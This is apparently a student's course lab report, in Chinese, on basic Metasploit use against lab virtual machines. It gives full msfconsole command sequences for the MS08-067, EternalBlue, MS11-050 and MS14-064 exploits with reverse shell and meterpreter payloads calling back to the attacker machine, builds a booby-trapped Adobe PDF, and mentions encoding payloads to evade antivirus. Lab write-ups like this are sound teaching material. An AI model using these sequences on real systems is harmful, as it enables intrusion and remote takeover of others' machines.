2019-2020-2 网络对抗技术 20175311胡济栋 Exp6 MSF基础应用
2019-2020-2 网络对抗技术 20175311胡济栋 Exp6 MSF基础应用
目录
-
一、实验介绍
-
二、实验步骤
-
- 主动攻击的实践
-
-
- ms08_067_netapi 自动化漏洞溢出攻击
payload:generic/shell_bind_tcp
- ms08_067_netapi 自动化漏洞溢出攻击
-
-
-
- ms17_010_eternalblue 自动化攻击
payload:windows/x64/shell/reverse_tcp_uuid
- ms17_010_eternalblue 自动化攻击
-
-
- 攻击浏览器的实践
-
-
- ms10_046
payload:windows/meterpreter/reverse_https
- ms10_046
-
-
-
- ms14_064
payload:windows/meterpreter/reverse_tcp
payload:windows/meterpreter/reverse_https
- ms14_064
-
-
- 攻击客户端的实践
-
-
- Adobe
payload:windows/meterpreter/bind_tcp
- Adobe
-
-
- 成功应用任何一个辅助模块
-
-
- ipidseq
auxiliary/scanner/ip/ipidseq
- ipidseq
-
-
三、实验要求
-
四、实验感想
一、实验介绍
实验原理
- Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。
1.MSF的六个模块
查看六种模块源码目录 /usr/share/metasploit-framework/modules
- 使用的版本共有635种溢出(exploit)模块,314种辅助(auxiliary)模块,215种加载(payload)模块,27种编码(encoder),8种空字段(nops)。
Auxiliary Modules
辅助模块:帮助在渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块Exploit Modules
渗透攻击模块:是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件Encoders
编码模块:针对payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征Nop Modules
空字段模块:是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90Payload Modules
攻击载荷:是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接Post
后渗透攻击模块:攻击成功之后,动态传输代码使其在被控机执行
2.MSF常用命令
-
show exploits
:列出metasploit框架中的所有渗透攻击模块。 -
show payloads
:列出metasploit框架中的所有攻击载荷。 -
show options
:显示配置选项 -
show auxiliary
:显示辅助模块 -
use exploit name
:使用漏洞 -
use auxiliary name
:使用辅助模块 -
set option name option
:设置选项 -
set TARGET target number
:设置目标版本 -
exploit
:开始漏洞攻击 -
sessions -l
:列出会话 -
sessions -i id
:选择会话 -
sessions -k id
:结束会话 -
search name
:用指定关键字搜索可以利用的漏洞模块 -
更多更详细的常用命令可以参考博客msfconsole常用命令
3.MSF的三种用户操作界面
- Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console终端模式,第三种是CLI(命令行)模式。msfcli 虽然和msfconsole一样同为命令行界面,但是他不提供交互的命令行模式,直接通过命令行执行输出结果,直接调用辅助模块和攻击模块对目标进行渗透攻击,更为高效便捷。msfgui 图形化界面工具可轻松地单击鼠标,输入目标 IP 地址,就可以使用 Metasploit 强大功能渗透进入目标系统 。
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- msfgui
二、实验步骤
2.1 主动攻击实践
- 攻击者kali的IP地址为
192.168.40.132
,win7被攻击者的IP地址为192.168.40.133
,win XP被攻击者IP地位为192.168.40.141
2.1.1 ms08_067
-
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限
-
攻击机kali,被攻击者winXP,payload:
generic/shell_reverse_tcp
-
在攻击机kali输入
msfconsole
进入控制台,依次输入以下指令: -
输入
show targets
发现该命令针对的都是win2000和xp等操作系统,而我第一次用的是2003作为靶机发现失败
-
启动后输入
search ms08_067
,出现了一条漏洞信息。
-
msf >
use exploit/windows/smb/ms08_067_netapi
-
msf exploit(ms08_067_netapi) >
show payloads
-
msf exploit(ms08_067_netapi) >
set payload generic/shell_reverse_tcp //tcp反向回连
-
msf exploit(ms08_067_netapi) >
set LHOST 192.168.40.132 //攻击机ip
-
msf exploit(ms08_067_netapi) >
set LPORT 5311 //攻击端口
-
msf exploit(ms08_067_netapi) >
set RHOST 192.168.40.141 //靶机ip,特定漏洞端口已经固定
-
msf exploit(ms08_067_netapi) >
set target 0 //自动选择目标系统类型,匹配度较高
-
msf exploit(ms08_067_netapi) >
exploit //攻击
-
可以看到靶机的版本是XP
2.1.2 ms17_010_eternalblue
-
攻击者kali,被攻击者win7,payload:
windows/x64/shell/reverse_tcp_uuid
-
msf5 exploit(windows/smb/ms17_010_eternalblue) >
set payload windows/x64/shell/reverse_tcp_uuid
-
msf5 exploit(windows/smb/ms17_010_eternalblue) >
set LHOST 192.168.40.132
-
msf5 exploit(windows/smb/ms17_010_eternalblue) >
set LPORT 5311
-
msf5 exploit(windows/smb/ms17_010_eternalblue) >
set RHOSTS 192.168.40.133
-
msf5 exploit(windows/smb/ms17_010_eternalblue) >
exploit
-
发现攻击并未成功,报错了两个问题,问题提示主机不易受到攻击,暂时还没有解决这个问题
2.2 针对浏览器的攻击
2.2.1 ms11_050
- 攻击机为kali,靶机为win7,payload为
windows/meterpreter/reverse_https
- 依次输入以下指令:
- msf >
use windows/browser/ms11_050_mshtml_cobjectelement
- msf exploit(ms11_050_cobjectelement) >
set payload windows/meterpreter/reverse_http
//http反向回连 - msf exploit(ms11_050_cobjectelement) >
set LHOST 192.168.40.132
//攻击机ip - msf exploit(ms11_050_cobjectelement) >
set LPORT 5311
//攻击端口固定 - msf exploit(ms11_050_cobjectelement) >
set URIPATH 20175311
//统一资源标识符路径设置 - msf exploit(ms11_050_cobjectelement) >
exploit
- 其中SRVPORT和SRVHOST保持原状不改变
- 跳出连接后,在win7的IE上输入网址
192.168.40.132:5311/20175311
- 回连成功
2.2.2 ms14_064
- 攻击机为kali,靶机为winXP,payload为
windows/meterpreter/reverse_tcp
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 192.168.40.132 //设置攻方IP
set AllowPowerShellPrompt 1
set LHOST 192.168.40.141
set LPORT 5311
set target 0 //设置winXP靶机
- 最后还是出现了一些问题,暂时还没有解决
2.3 针对客户端的攻击
2.3.1 Adobe
- 进入msfconsole控制台,输入
use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set LHOST 192.168.40.132 //攻击机ip
set LPORT 5311 //攻击端口
set FILENAME 20175311.pdf //设置生成pdf文件的名字
exploit
- 可以看到20175311.pdf存储在 /home/kali/.msf4/local/20175311.pdf路径下,输入下面的口令将文件移至桌面
- 因为我的.msf4是隐藏目录,所以我们用命令行将其移动至桌面或者其他可见的地方
- 将生成的pdf文件拷贝到靶机上,需要提前下载Adobe软件进行安装。在kali上输入
back
退出当前模块,进入监听模块,输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.132
set LPORT 5311
- 之后在靶机中双击
20175311.pdf
,就可以看到这边已经回连成功了
2.4 成功应用任何一个辅助模块
2.4.1 ipidseq
- 该模块将探测主机的IPID序列,并使用相同的方法对IPID空闲扫描(-SI)和0秒检测(-0)进行分类。Nmap的空闲扫描可以使用其IPID序列被分类为增量或断小端增量的主机。
- 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf5 > use auxiliary/scanner/ip/ipidseq
msf5 auxiliary(scanner/ip/ipidseq) > show options //查看选项
msf5 auxiliary(scanner/ip/ipidseq) > set RHOSTS 192.168.3.30-192.168.3.40//目标地址范围
msf5 auxiliary(scanner/ip/ipidseq) > set TIMEOUT 5//超时设置
msf5 auxiliary(scanner/ip/ipidseq) > exploit
三、实验要求
3.1用自己的话解释什么是exploit,payload,encode?
- exploit:这是msfconsole里面最后执行攻击的命令,它的中文意思时利用压榨,代码意思比较像运行的意思,和c语言里面的run比较相似,就是对前面的命令进行一个整体的运行并且执行攻击操作
- payload:这是msfconsole选择设置负载时所需要使用的命令,中文意思是负载,有点像攻击者把不同的攻击方式进行相应编号,而我们通过这个编号进行选择有效的攻击,所以不同的攻击方式拥有不同的负载值
- encode:这是编码过程中所需要使用的命令,中文意思是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码
3.2 离实战还缺些什么技术或步骤?
- 在我看来,不足的地方还有需要,比如我们操作时大部分都需要关闭防火墙和杀软才能进行拷贝文件,才能将恶意代码拷贝至目标主机,这在实战中是不现实的。
- 对于各种攻击方式,要求都十分苛刻严格,在实战中我们面对的可能是各种各样的主机,所以这些攻击方式也显得有点落后了
- 对靶机的版本要求特别高,不管是系统版本还是软件的版本,如何确保靶机的版本符合攻击的要求需要考虑
四、实验感想
- 这是网络对抗技术的第六次实验。本次实验难点主要在靶机的版本上,由于每个攻击版本要求不同,每次攻击时都需要下不同的镜像还有软件,比较费时费力。实验中还是遇到挺多问题的,不过在老师还有同学的帮助下都一一解决了,完成了实验,也找到了和别人不一样的攻击方法,对MSF的应用更加熟练,收获颇深。因为实验毕竟是很有限的,很多东西其实是很理想化的,在现实生活中不可能奏效。每次在做实验的时候都会想要尝试一下比较“实际”的操作,比如连接到不同网段,比如能够攻击比较新的操作系统然后不被发现等等。但是现在自己的这方面能力还是比较弱,至今没有成功过。相信今后会成功的~